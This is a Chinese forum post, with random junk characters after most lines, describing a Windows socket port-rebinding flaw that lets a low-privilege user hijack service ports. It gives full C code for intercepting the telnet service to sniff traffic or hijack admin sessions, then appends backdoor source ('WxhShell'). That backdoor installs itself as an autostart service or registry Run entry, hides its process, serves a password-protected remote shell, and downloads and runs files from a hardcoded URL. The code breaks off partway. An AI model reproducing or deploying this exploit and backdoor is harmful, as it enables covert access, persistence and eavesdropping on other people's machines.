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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u%V =Ze  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H+F?)VX}oA  
UX41/# 4  
  saddr.sin_family = AF_INET; "ltvD\  
~1S7\e7{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z%`} `(  
B+jT|Y'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9u1_L`+b  
=P'=P0G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )3.udx  
Umv_{n`  
  这意味着什么?意味着可以进行如下的攻击: |}es+<P  
u4IgPCTZ+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3a:(\:?z  
J6hWcA6 g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b/"gkFe#  
Sj+ gf~~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Aw4Qm2Kf  
[~,~ e   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V7.xKmB  
8 C@iD%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |_{-hNiz0  
9]r6V   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZC'(^liAp  
LGGC=;{}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +]*4!4MK6  
/PN[g~3  
  #include LSv0zAIe/  
  #include #8z2>&:|  
  #include NdZv*  
  #include    b/5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @x3x/g U  
  int main() ";AM3  
  { 1Rc'2Y  
  WORD wVersionRequested; yxh8sAZ  
  DWORD ret; );$_|]#  
  WSADATA wsaData; n,SDJsS^  
  BOOL val; T B~C4HK=  
  SOCKADDR_IN saddr; vG`R.  
  SOCKADDR_IN scaddr; f5<qF ]Y/  
  int err; @ 6w\q?.s  
  SOCKET s; z@iu$DZ  
  SOCKET sc; H]K(`)y}4  
  int caddsize; 1nhC! jDD  
  HANDLE mt; /DA'p[,  
  DWORD tid;   hdJW#,xq  
  wVersionRequested = MAKEWORD( 2, 2 ); #Y`GWT1==  
  err = WSAStartup( wVersionRequested, &wsaData ); E+k#1c|v$  
  if ( err != 0 ) { g+|1khS)  
  printf("error!WSAStartup failed!\n"); A q;]al  
  return -1; '+LC.lM  
  } i7v> 9p7  
  saddr.sin_family = AF_INET; }t#uSz^  
   a[bu{Z]%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 me"}1REa  
Elw fqfO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BWV)> -V  
  saddr.sin_port = htons(23); t$m~O?I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U<QO@5  
  { u+"3l@Y#  
  printf("error!socket failed!\n"); E-\Wo3  
  return -1; -}Vnr\f  
  } v#J 2yg  
  val = TRUE; MgkeD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?_*X\En*3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #lXwBfBMf  
  { {?yZdL:m)  
  printf("error!setsockopt failed!\n"); },zP,y:cH  
  return -1; ?o307 r  
  } Wv!#B$J~U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g93-2k,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~Ry?}5&:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 30 e>C  
1 ~ fD:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) If[4]-dq  
  { ;cKN5#7  
  ret=GetLastError(); ^ z!g3  
  printf("error!bind failed!\n"); Bc{j0Su  
  return -1; .)J7 \z8m  
  } /Ilve U`E  
  listen(s,2); @$o.Z;83`r  
  while(1) ;w0|ev 6|  
  { ?Vg251-H  
  caddsize = sizeof(scaddr); 5DB4vh  
  //接受连接请求 +ZOjbI)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }t5-%&gBY0  
  if(sc!=INVALID_SOCKET) zpi Q;P  
  { 3Wv -olv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pK/r{/>r  
  if(mt==NULL) o3C7JG  
  { NL`}rj  
  printf("Thread Creat Failed!\n"); mmSC0F  
  break; i"0]L5=P  
  } APye  
  } J)7m::%I  
  CloseHandle(mt); va6e]p*Oy  
  } Ss>ez8q  
  closesocket(s); _"nzo4e0  
  WSACleanup(); ITpo:"X g  
  return 0; F_C7S  
  }   Z9S5rPHEL  
  DWORD WINAPI ClientThread(LPVOID lpParam) :'hc&wk`  
  { 7S^ba  
  SOCKET ss = (SOCKET)lpParam; ~O|g~H5;  
  SOCKET sc; @-B)a Z  
  unsigned char buf[4096]; (tG8HwV-  
  SOCKADDR_IN saddr; OO$YwOKS  
  long num; _-MILkx\  
  DWORD val; 'c]Fhe fb  
  DWORD ret; 4\?z^^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (%N=7?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,oin<K  
  saddr.sin_family = AF_INET; MZ$x(Vcj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /2s=;tA1  
  saddr.sin_port = htons(23); 10gh4,z[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) . {\lbI  
  { r^g"%nq9/  
  printf("error!socket failed!\n"); 3haR/Y N  
  return -1; ?ZF ~U  
  } Qk5pRoL_  
  val = 100; 0R21"]L_M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^Kbq.4  
  { )c6t`SBwi  
  ret = GetLastError(); 0gevn  
  return -1; |!Uul0O  
  } }F B]LLi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *(+*tj cWa  
  { . .5s 2  
  ret = GetLastError(); #B$r|rqamq  
  return -1; %tK^&rw%  
  } f*%Y]XL;%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hD*83_S  
  { $*\G Z$y>  
  printf("error!socket connect failed!\n"); fK 4,k:YC  
  closesocket(sc); > r %:!o  
  closesocket(ss); c*!xdK  
  return -1; 5$PDA*]9  
  } vB?(|  
  while(1) N{}o*K  
  { |a|##/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~[Fh+t(Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Efa3{ 7>{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W Te1E,M  
  num = recv(ss,buf,4096,0); #;(Q \  
  if(num>0) hy}n&h  
  send(sc,buf,num,0); Tfytc$aQ  
  else if(num==0) dxa[9>V  
  break; @{ CP18~:  
  num = recv(sc,buf,4096,0); 3vc2t6S%*  
  if(num>0) uS|f|)U&  
  send(ss,buf,num,0); p-T~x$"c|  
  else if(num==0) 4 [5lX C  
  break; K4?t' dd]  
  } 9{9#AI.G  
  closesocket(ss); {hs2?#p  
  closesocket(sc); f gK2.;>  
  return 0 ; >tmnj/=&   
  } H;TOPtt2  
j#LV7@H.e?  
q(ZB.  
========================================================== lnS\5J  
'FPcAW^8  
下边附上一个代码,,WXhSHELL 6:|!1Pg5  
B c,"12  
========================================================== k\mXo-:V6  
|z!q r}i  
#include "stdafx.h" &# vk4C_8m  
KD,^*FkkL  
#include <stdio.h> DqurHQ z)m  
#include <string.h> hkmTpH1<M  
#include <windows.h> fH#F"^ A  
#include <winsock2.h> abTDa6 /`v  
#include <winsvc.h> :Bx+WW&P.i  
#include <urlmon.h> 5(iSOsb  
r%g <h T 8  
#pragma comment (lib, "Ws2_32.lib") m{:"1]  
#pragma comment (lib, "urlmon.lib") #[k~RYS3  
u=d`j  
#define MAX_USER   100 // 最大客户端连接数 3i]"#wK  
#define BUF_SOCK   200 // sock buffer ~h>rskJ _  
#define KEY_BUFF   255 // 输入 buffer ++Rdv0~  
i$`|Y*  
#define REBOOT     0   // 重启 k8InbX[  
#define SHUTDOWN   1   // 关机 [Vrc:%Jk  
8Ehy9<  
#define DEF_PORT   5000 // 监听端口 M(;y~ |e  
ql{^"8x  
#define REG_LEN     16   // 注册表键长度 L<f-Ed9|  
#define SVC_LEN     80   // NT服务名长度 $Q`yNEc  
ALE808;|  
// 从dll定义API ZfFIX5Qd\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @K,2mhE~h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); * ajFZI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =,&u_>Dp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '+)6#/*  
^#a#<8Jz  
// wxhshell配置信息 9l]UE0yTL/  
struct WSCFG { 'sm[CNzS  
  int ws_port;         // 监听端口 %-@'CNP  
  char ws_passstr[REG_LEN]; // 口令 *fxep08B  
  int ws_autoins;       // 安装标记, 1=yes 0=no $Qn& jI38  
  char ws_regname[REG_LEN]; // 注册表键名 96.IuwL*.s  
  char ws_svcname[REG_LEN]; // 服务名 5S&aI{;9<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T$gkq>!j<E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w"fCI 13  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3q'K5} _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &GXtdO>;Zv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c+szU}(f6(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,3wI~ j=  
ox(*  
}; a='IT 5  
?~F]@2)5w  
// default Wxhshell configuration jG+T.  
struct WSCFG wscfg={DEF_PORT, &FL%H;Kfx  
    "xuhuanlingzhe",  .LX?VD  
    1, +<)tql*  
    "Wxhshell", ::4"wU3t  
    "Wxhshell", pWMiCXnW  
            "WxhShell Service", f2uZK!:m  
    "Wrsky Windows CmdShell Service", -6u H.  
    "Please Input Your Password: ", PLO\L W  
  1, YEg .  
  "http://www.wrsky.com/wxhshell.exe", Ro$j1Aw(  
  "Wxhshell.exe" bZxv/\  
    }; H"2U)HJl  
8&?^XcJ*x  
// 消息定义模块 ,)Yao;Cvd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c eqFQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cge-'/8w%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {]+ jL1  
char *msg_ws_ext="\n\rExit."; }phz7N9  
char *msg_ws_end="\n\rQuit."; #uQrJh1o8  
char *msg_ws_boot="\n\rReboot...";  UP\8w#~  
char *msg_ws_poff="\n\rShutdown..."; cYsR0#  
char *msg_ws_down="\n\rSave to "; 8r5xs-  
_Mlhum t  
char *msg_ws_err="\n\rErr!"; wG_4$kyj  
char *msg_ws_ok="\n\rOK!"; J09*v )L  
g* %bzfk=|  
char ExeFile[MAX_PATH]; |__d 8a  
int nUser = 0; G?>qd}]y0L  
HANDLE handles[MAX_USER]; a a4$'8s  
int OsIsNt; 1Pu ,:Jt  
55LgBD  
SERVICE_STATUS       serviceStatus; 4"LPJX)Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QyTh!QM~`  
3QH(4N  
// 函数声明 &Y 'z?N  
int Install(void); HS7R lU^  
int Uninstall(void); `$H7KIG  
int DownloadFile(char *sURL, SOCKET wsh); F/)f,sZF  
int Boot(int flag); {>S4 #^@}  
void HideProc(void); #U\$@4D  
int GetOsVer(void); nZe\5`  
int Wxhshell(SOCKET wsl); Nc,*hsx'  
void TalkWithClient(void *cs); yj>) {NcX  
int CmdShell(SOCKET sock); &.hoC Po$  
int StartFromService(void); xOhRTxic  
int StartWxhshell(LPSTR lpCmdLine); 2ed@HJu  
S45'j(S=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :#qUMiu$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ? %93b ,7  
II&<  
// 数据结构和表定义 H%FM  
SERVICE_TABLE_ENTRY DispatchTable[] = fTTm$,f5N  
{ !TGr.R  
{wscfg.ws_svcname, NTServiceMain}, *}7U`Aa  
{NULL, NULL} ;jF%bE3  
}; :sFo  
f7.m=lbe  
// 自我安装 `nKJR'QC  
int Install(void) Il|GCj*N  
{ _<XgC\4O|  
  char svExeFile[MAX_PATH]; STw oYn  
  HKEY key; 1p~5h(jI  
  strcpy(svExeFile,ExeFile); D_Guc8*  
,eDu$8J9  
// 如果是win9x系统,修改注册表设为自启动 rj}(muM,R  
if(!OsIsNt) { 6`1k ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [~t yDLC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'w:bs!  
  RegCloseKey(key); z[*zuo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wBLsz/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8'+7i8e  
  RegCloseKey(key); H)\4=^  
  return 0; 2av*o~|J*:  
    } w\p9J0  
  } sSNCosb  
} ghX:"vV{n  
else { uC)Zs, _5  
$ND90my  
// 如果是NT以上系统,安装为系统服务 M= atls  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LGAX"/LX  
if (schSCManager!=0) 3Mur*tj#  
{ @\!ww/QT  
  SC_HANDLE schService = CreateService v O PMgEI  
  ( 4'` C1a  
  schSCManager, BK*z 4m  
  wscfg.ws_svcname, j"i#R1T  
  wscfg.ws_svcdisp, Q4=|@|U0  
  SERVICE_ALL_ACCESS, zx7#)*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oikxg!0S  
  SERVICE_AUTO_START, {79qtq%W{  
  SERVICE_ERROR_NORMAL, ZRPE-l_3:  
  svExeFile, z$66\/V']  
  NULL, G@B*E%$9  
  NULL, Z~_8P  
  NULL, r 3|4gG  
  NULL, -( (Z@T1k  
  NULL .x>HA^4  
  ); 9N^+IZ@l  
  if (schService!=0) CB6o$U  
  { ,2ME2@OP  
  CloseServiceHandle(schService); (2d3jQN`  
  CloseServiceHandle(schSCManager); ![).zi+m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?|lIXz  
  strcat(svExeFile,wscfg.ws_svcname); v~f'K3fLp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { so*/OBte  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }s(C^0x  
  RegCloseKey(key); h07eE g  
  return 0; $HxS:3D%D  
    } >gnF]<  
  } o(zTNk5d  
  CloseServiceHandle(schSCManager); =&N$Vqn  
} b[yE~EQxr  
} jFG5)t<D  
l=xt;c!  
return 1; *<xrp*O  
} _0.pvQ  
0 7\02f  
// 自我卸载 %Lyz_2q A  
int Uninstall(void) TW2Z=ks=  
{ fx]eDA|$e  
  HKEY key; %E  aE,  
MUB37  
if(!OsIsNt) { j %H`0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @iRO7 6m  
  RegDeleteValue(key,wscfg.ws_regname); ogJ<e_ m  
  RegCloseKey(key); XGhwrI^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ||XIWKF<n2  
  RegDeleteValue(key,wscfg.ws_regname); P.h.M A]  
  RegCloseKey(key); .&PzkqWZ  
  return 0; I-bF{  
  } {"jd_b&  
} 9T?64t<Ju  
} c|Y!c!9F  
else { <6R"h-u"  
G5;V.#"Z[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J.W Ho c  
if (schSCManager!=0) PtqGX=u  
{ R*\~k%Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'W(xgOP1  
  if (schService!=0) ABZ06S/  
  { vK:QX$b  
  if(DeleteService(schService)!=0) { O_AGMW/2+  
  CloseServiceHandle(schService); ]-a{IWVN  
  CloseServiceHandle(schSCManager); @hsbq  
  return 0; 5 VKcV&D  
  } &[~[~m|  
  CloseServiceHandle(schService); h0lu!m#\_  
  } -njQc:4W,-  
  CloseServiceHandle(schSCManager); SOj`Y|6^:  
} ) $#(ZL^m  
} 1`QsW&9=b  
Pin/qp&Fa8  
return 1; ]u0Jd#@  
} r[!(?%>j  
fI]bzv;  
// 从指定url下载文件 Egf^H>,.M  
int DownloadFile(char *sURL, SOCKET wsh) F@EJtwLd5y  
{ ^yJ:+m;6K  
  HRESULT hr; <xqba4O  
char seps[]= "/"; T>F9Hs  W  
char *token; v)+@XU2wZ  
char *file; 1a8$f5  
char myURL[MAX_PATH]; 11{y}J  
char myFILE[MAX_PATH]; L=g_@b   
W+hV9  
strcpy(myURL,sURL); ;RHNRVP  
  token=strtok(myURL,seps); !DcX8~~@  
  while(token!=NULL) Gkmsaf>  
  { Q1T@oxV  
    file=token; #KE;=$(S  
  token=strtok(NULL,seps); bjzx!OCpV  
  } l"5y?jT  
.[(P  
GetCurrentDirectory(MAX_PATH,myFILE); j|(:I:]  
strcat(myFILE, "\\"); jyQVSQ s  
strcat(myFILE, file); W_}/O'l{  
  send(wsh,myFILE,strlen(myFILE),0); FUqt)YHi  
send(wsh,"...",3,0); ]nc2/S%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #8UseK  
  if(hr==S_OK) l{Er+)a  
return 0; 8t[t{"  
else kFLT!k  
return 1; jCQho-1QN  
=:/>6 H1x  
} |X3">U +-  
mPG7Zy$z  
// 系统电源模块 vi|Zit  
int Boot(int flag) wT/6aJoX  
{ ?!7 SzLll  
  HANDLE hToken; ! Rvn'|!  
  TOKEN_PRIVILEGES tkp; GA@ Ue9  
&I)\*Ue2t  
  if(OsIsNt) { b{pg!/N4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O9e.=l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u`6/I#q`  
    tkp.PrivilegeCount = 1; liD47}+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |D<+X^0'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )eq}MaW+j  
if(flag==REBOOT) { "K ?#,_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rS,j;8D-  
  return 0; ev"M;"y  
} (: OHyeNt  
else { O<`,,^4w/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :kN5?t=  
  return 0; k* Pz&8|  
} QnU0"_-  
  } )S Q('vwg  
  else { 9P0yv3  
if(flag==REBOOT) { V{GXc:=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Snx<]|  
  return 0; 4#h ?Wga  
} LzE/g)>  
else { :'Xr/| s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9A+M|;O  
  return 0; e?=elN  
} :l`i4kx  
}  "l2bx  
n1?}Xq|  
return 1; oZ-FF'  
} }$:#+ (17  
^jOCenE 3  
// win9x进程隐藏模块 >2Ca5C  
void HideProc(void) gQR1$n0  
{ +f|6AeE  
k(v"B@0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C fSl 54  
  if ( hKernel != NULL ) HtUG#sc&`{  
  { ?`aTu:1#Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a[i>;0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K7Gm-=%  
    FreeLibrary(hKernel); piuKV U  
  } iD`k"\>9  
pU hc3L  
return; >-zkB)5<,#  
} jN{Zw*  
Qg>0G%cXU  
// 获取操作系统版本 w%rg\E  
int GetOsVer(void) v~`*(Hh  
{ Xy!&^C` J`  
  OSVERSIONINFO winfo; (Com,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); - `4Ty*K  
  GetVersionEx(&winfo); esteFLm`6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Oe`s(O@[I  
  return 1; Efvq?cG&  
  else bKByU{t  
  return 0; 6}STp_x  
} 9t}J|09i  
2/EK`S  
// 客户端句柄模块 /.2qWQH  
int Wxhshell(SOCKET wsl) [9HYO  
{ >|(%2Zl  
  SOCKET wsh; WR u/7$8  
  struct sockaddr_in client; 8bf@<VTO_  
  DWORD myID; #bCUI*N"P  
;&!Q N#_  
  while(nUser<MAX_USER) <tm=  
{ >p`i6_P0P/  
  int nSize=sizeof(client); ERIF#EY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7V5kYYR^F  
  if(wsh==INVALID_SOCKET) return 1; (!?%"e  
 ~fs} J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Zc0imYL  
if(handles[nUser]==0) #Zi6N  
  closesocket(wsh); C>F5=&  
else \w&R`;b8w  
  nUser++; QIdml*Np?H  
  } fF2] 7:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,zdK%V}  
jkAru_C  
  return 0; 4,ewp coC%  
} 4?~Ei[KgQn  
x_x|D|@wM  
// 关闭 socket lziC.Dpa  
void CloseIt(SOCKET wsh) OC2%9Igx0  
{ ZHc;8|}  
closesocket(wsh); @%#!-wC-5  
nUser--; 5$ rV0X,O  
ExitThread(0); b'4r5@GO  
} %l)~C%T  
- o sxKT:  
// 客户端请求句柄 `O}bPwa{>  
void TalkWithClient(void *cs) T q5F'@e  
{ K?mly$  
IeJ@G)  
  SOCKET wsh=(SOCKET)cs; H3q L&xL  
  char pwd[SVC_LEN]; >Y&o2zJy  
  char cmd[KEY_BUFF]; 7:&a,nU  
char chr[1]; ZQrgYeQl"  
int i,j; 3S1`av(tD  
?[ vC?P  
  while (nUser < MAX_USER) { )1]LoEdm`  
|} K7Q  
if(wscfg.ws_passstr) { $a+)v#?,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r#K"d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m{sch`bP  
  //ZeroMemory(pwd,KEY_BUFF); 2v\-xg%1  
      i=0; *wfkjG  
  while(i<SVC_LEN) { }@w Xm  
|)u|@\{  
  // 设置超时 Z(fhH..T`  
  fd_set FdRead; XY`2>7  
  struct timeval TimeOut; Q*AgFF%wn  
  FD_ZERO(&FdRead); V3}$vKQ  
  FD_SET(wsh,&FdRead); @5(HRd  
  TimeOut.tv_sec=8; 1oIu~f{`  
  TimeOut.tv_usec=0; YiPp#0T[Gx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;={Z Bx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?GKm_b]JC  
6u v'{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gb/M@6/j  
  pwd=chr[0]; T2MX_rt#D  
  if(chr[0]==0xd || chr[0]==0xa) { T89VSB~  
  pwd=0; EM.rO/qcW  
  break; pGGx.&5#82  
  } prg8Iq'w  
  i++; pvJPMx  
    } },LW@Z}  
3$ 1 z  
  // 如果是非法用户,关闭 socket kXbdR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;M Z@2CO  
} )z?Kq0  
Bh,LJawE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1)m&6:!b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lb('=]3 }H  
BV HO_  
while(1) { in6iJ*E@'  
3 eFBe2  
  ZeroMemory(cmd,KEY_BUFF); u +OfUBrf  
3M&75OE  
      // 自动支持客户端 telnet标准   %U)M?UNjw  
  j=0; oxPb; %  
  while(j<KEY_BUFF) { 8h2!8'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |!{ BjOAD'  
  cmd[j]=chr[0]; H;n(qBSB  
  if(chr[0]==0xa || chr[0]==0xd) { M^^u{);q  
  cmd[j]=0; lEC58`Ws  
  break; ,FPgbs  
  } $0zH2W  
  j++; TGz5t$]I  
    } S&P5##.u`  
P!";$]+  
  // 下载文件 =>CrZ23B "  
  if(strstr(cmd,"http://")) { ^MWfFpJV!]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $V8B =k~  
  if(DownloadFile(cmd,wsh)) k|7XC@i]%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Y~>H 2  
  else I -obfyije  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bv |Z)G%RR  
  } KV0e^c;  
  else { -~h2^Oez  
ASLRP  
    switch(cmd[0]) { !m1pL0  
  }r /L 9  
  // 帮助 `#X{.  
  case '?': { -K/' }I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c"J(? 1O  
    break; /=\__$l)  
  } ^dP@QMly6  
  // 安装 .{-8gAh  
  case 'i': { Nu{RF  
    if(Install()) $/45*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? xX`_l  
    else s/Wg^(&M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f K^FD&sF  
    break; (.!q~G  
    } {R,rc!yF  
  // 卸载 eeb 8v:4  
  case 'r': { W^&t8d2  
    if(Uninstall()) 4!6g[[| &J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sa+:c{  
    else BoIe<{X(9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $X~=M_ W  
    break; {M E|7TS=  
    } v-[|7Pg}Z  
  // 显示 wxhshell 所在路径 Z/uRz]Hi  
  case 'p': { ;Xgy2'3  
    char svExeFile[MAX_PATH]; +U%lWE%  
    strcpy(svExeFile,"\n\r"); Zml9 ndzT  
      strcat(svExeFile,ExeFile); xYt{=  
        send(wsh,svExeFile,strlen(svExeFile),0); `Xmpm4 ]  
    break; D?5W1m]E,s  
    } 3[aJ=5  
  // 重启 w6Tb<ja  
  case 'b': { r?/>t1Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .FHOOw1r=  
    if(Boot(REBOOT)) >cM U<'&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A7_*zR @  
    else { 05pCgI}F>  
    closesocket(wsh); Z*]n]eS  
    ExitThread(0); s[s6E`Q  
    } sQihyq6U;  
    break; !8=uBS%  
    } Cv$TNkP*  
  // 关机 EUna_ 4=  
  case 'd': { <!OP b(g2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `&9#!T.  
    if(Boot(SHUTDOWN)) [sNn^x  
